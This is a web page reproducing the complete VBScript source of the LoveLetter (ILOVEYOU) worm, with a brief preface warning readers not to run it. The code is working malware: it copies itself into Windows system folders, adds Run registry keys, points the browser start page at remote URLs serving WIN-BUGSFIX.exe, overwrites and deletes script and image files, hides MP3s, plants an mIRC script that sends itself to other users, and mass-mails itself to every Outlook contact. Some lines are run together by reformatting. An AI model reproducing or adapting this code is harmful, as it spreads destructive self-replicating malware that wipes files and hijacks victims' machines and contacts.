Loveletter virus source code

Below is the text of the pathetic LoveLetter "virus", for anyone who's interested. It has been reformatted as an plain text/HTML file, so there's no need to worry about being infected by it. For God's sake, don't copy the text into a .VBS file and run it, espescially if you have installed any new MSIE (this little bugger will wipe out your MP3s!!)

Editor's note: If you're going to write a virus, use a REAL language (assembler)!! Maybe C if you're desperate...


 rem  barok -loveletter(vbe) <i hate go to school>
 rem by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines
 On Error Resume Next
 dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
 eq=""
 ctr=0
 Set fso = CreateObject("Scripting.FileSystemObject")
 set file = fso.OpenTextFile(WScript.ScriptFullname,1)
 vbscopy=file.ReadAll
 main()
 sub main()
 On Error Resume Next
 dim wscr,rr
 set wscr=CreateObject("WScript.Shell")
 rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
 if (rr>=1) then
 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
 end if
 Set dirwin = fso.GetSpecialFolder(0)
 Set dirsystem = fso.GetSpecialFolder(1)
 Set dirtemp = fso.GetSpecialFolder(2)
 Set c = fso.GetFile(WScript.ScriptFullName)
 c.Copy(dirsystem&"\MSKernel32.vbs")
 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 regruns()
 html()
 spreadtoemail()
 listadriv()
 end sub
 sub regruns()
 On Error Resume Next
 Dim num,downread
 regcreate
 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs"
 regcreate
 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs"
 downread=""
 downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
 if (downread="") then
 downread="c:\"
 end if
 if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
 Randomize
 num = Int((4 * Rnd) + 1)
 if num = 1 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
 Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm
 hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
 elseif num = 2 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw
 erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
 elseif num = 3 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
 Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd
 QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
 elseif num = 4 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
 Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD
 GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe"
 end if
 end if
 if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate
 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe"
 regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
 Explorer\Main\Start Page","about:blank"
 end if
 end sub
 sub listadriv
 On Error Resume Next
 Dim d,dc,s
 Set dc = fso.Drives
 For Each d in dc
 If d.DriveType = 2 or d.DriveType=3 Then
 folderlist(d.path&"\")
 end if
 Next
 listadriv = s
 end sub
 sub infectfiles(folderspec)
 On Error Resume Next
 dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
 set f = fso.GetFolder(folderspec)
 set fc = f.Files
 for each f1 in fc
 ext=fso.GetExtensionName(f1.path)
 ext=lcase(ext)
 s=lcase(f1.name)
 if (ext="vbs") or (ext="vbe") then
 set ap=fso.OpenTextFile(f1.path,2,true)
 ap.write vbscopy
 ap.close
 elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
 set ap=fso.OpenTextFile(f1.path,2,true)
 ap.write vbscopy
 ap.close
 bname=fso.GetBaseName(f1.path)
 set cop=fso.GetFile(f1.path)
 cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)
 elseif(ext="jpg") or (ext="jpeg") then
 set ap=fso.OpenTextFile(f1.path,2,true)
 ap.write vbscopy
 ap.close
 set cop=fso.GetFile(f1.path)
 cop.copy(f1.path&".vbs")
 fso.DeleteFile(f1.path)
 elseif(ext="mp3") or (ext="mp2") then
 set mp3=fso.CreateTextFile(f1.path&".vbs")
 mp3.write vbscopy
 mp3.close
 set att=fso.GetFile(f1.path)
 att.attributes=att.attributes+2
 end if
 if (eq<>folderspec) then
 if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
 set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]"
 scriptini.WriteLine ";mIRC Script"
 scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
 scriptini.WriteLine "    corrupt... WINDOWS will affect and will not run correctly. thanks"
 scriptini.WriteLine ";"
 scriptini.WriteLine ";Khaled Mardam-Bey"
 scriptini.WriteLine ";http://www.mirc.com"
 scriptini.WriteLine ";"
 scriptini.WriteLine "n0=on 1:JOIN:#:{"
 scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2=  /.dcc send $nick
 "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
 scriptini.WriteLine "n3=}"
 scriptini.close
 eq=folderspec
 end if
 end if
 next
 end sub
 sub folderlist(folderspec)
 On Error Resume Next
 dim f,f1,sf
 set f = fso.GetFolder(folderspec)
 set sf = f.SubFolders
 for each f1 in sf
 infectfiles(f1.path)
 folderlist(f1.path)
 next
 end sub
 sub regcreate(regkey,regvalue)
 Set regedit = CreateObject("WScript.Shell")
 regedit.RegWrite regkey,regvalue
 end sub
 function regget(value)
 Set regedit = CreateObject("WScript.Shell")
 regget=regedit.RegRead(value)
 end function
 function fileexist(filespec)
 On Error Resume Next
 dim msg
 if (fso.FileExists(filespec)) Then
 msg = 0
 else
 msg = 1
 end if
 fileexist = msg
 end function
 function folderexist(folderspec)
 On Error Resume Next
 dim msg
 if (fso.GetFolderExists(folderspec)) then
 msg = 0
 else
 msg = 1
 end if
 fileexist = msg
 end function
 sub spreadtoemail()
 On Error Resume Next
 dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
 set regedit=CreateObject("WScript.Shell")
 set out=WScript.CreateObject("Outlook.Application")
 set mapi=out.GetNameSpace("MAPI")
 for ctrlists=1 to mapi.AddressLists.Count
 set a=mapi.AddressLists(ctrlists)
 x=1
 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then
 regv=1
 end if
 if (int(a.AddressEntries.Count)>int(regv)) then
 for ctrentries=1 to a.AddressEntries.Count
 malead=a.AddressEntries(x)
 regad=""
 regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead )
 if (regad="") then
 set male=out.CreateItem(0)
 male.Recipients.Add(malead)
 male.Subject = "ILOVEYOU"
 male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
 male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
 regedit.RegWrite
 "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if
 x=x+1
 next
 regedit.RegWrite
 "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else
 regedit.RegWrite
 "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if
 next
 Set out=Nothing
 Set mapi=Nothing
 end sub
 sub html
 On Error Resume Next
 dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS -
 LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
 @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@
 CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
 "<?-?HEAD><BODY
 ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.
 HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
 "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@
 BGPROPERTIES=@-@fixed@-@
 BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
 "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to
 Enable ActiveX<?-?p>"&vbcrlf& _
 "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
 BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU EE> "&vbcrlf& _
 "<?-?BODY><?-?HTML>"&vbcrlf& _
 "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _
 "if (window.screen){var wi=screen.availWidth;var
 hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrl f& _
 "?-??-?-->"&vbcrlf& _
 "<?-?SCRIPT>"&vbcrlf& _
 "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _
 "on error resume next"&vbcrlf& _
 "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _
 "code="
 dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
 "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
 "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set
 wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
 "wri.write code4"&vbcrlf& _
 "wri.close"&vbcrlf& _
 "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _
 "aw=0"&vbcrlf& _
 "end if"&vbcrlf& _
 "if (aw=1) then"&vbcrlf& _
 "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _
 "end if"&vbcrlf& _
 "end if"&vbcrlf& _
 "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
 "regedit.RegWrite
 @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^
 -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _
 "<?-?SCRIPT>"
 dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
 dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
 dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
 dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
 dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
 dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
 set fso=CreateObject("Scripting.FileSystemObject")
 set c=fso.OpenTextFile(WScript.ScriptFullName,1)
 lines=Split(c.ReadAll,vbcrlf)
 l1=ubound(lines)
 for n=0 to ubound(lines)
 lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
 lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then
 lines(n)=chr(34)+lines(n)+chr(34)
 else
 lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if
 next
 set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close
 set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5
 d.write join(lines,vbcrlf)
 d.write vbcrlf
 d.write dt6
 d.close
 end sub